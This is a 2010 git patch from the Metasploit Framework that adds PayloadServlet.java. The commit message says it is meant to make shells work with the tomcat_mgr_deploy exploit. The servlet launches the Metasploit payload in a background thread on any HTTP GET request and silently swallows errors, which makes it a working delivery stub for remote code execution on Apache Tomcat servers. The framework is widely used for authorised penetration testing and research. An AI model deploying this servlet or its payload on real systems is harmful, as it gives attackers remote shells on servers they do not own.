From a9d76bb5fc3e2c5fca6d0c18e7ac090f36e9e754 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 22 Oct 2010 10:19:51 +0000 Subject: [PATCH] revamp java payloads and make shells work with tomcat_mgr_deploy. tested java_trusted_chain and java_tester to verify that this doesn't break other java payload usage. see #3009 and #2973, meterpreter doesn't work yet, so not marking resolved. git-svn-id: file:///home/svn/framework3/trunk@10781 4d416f70-5f16-0410-b530-b9f4589650da --- java/src/metasploit/PayloadServlet.java | 30 +++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 java/src/metasploit/PayloadServlet.java diff --git a/java/src/metasploit/PayloadServlet.java b/java/src/metasploit/PayloadServlet.java new file mode 100644 index 00000000..290c1f25 --- /dev/null +++ b/java/src/metasploit/PayloadServlet.java @@ -0,0 +1,30 @@ +package metasploit; + +import java.io.*; + +import javax.servlet.*; +import javax.servlet.http.*; +import java.lang.Thread; + +public class PayloadServlet extends HttpServlet implements Runnable { + + public void run() { + try { + metasploit.Payload.main(new String[] {""}); + } catch (Exception e) {} + } + + protected void doGet(HttpServletRequest req, HttpServletResponse res) + throws ServletException, java.io.IOException + { + PrintWriter out = res.getWriter(); + + try { + Thread t = new Thread(this); + t.start(); + } catch(Exception e) { }; + + out.close(); + } + +}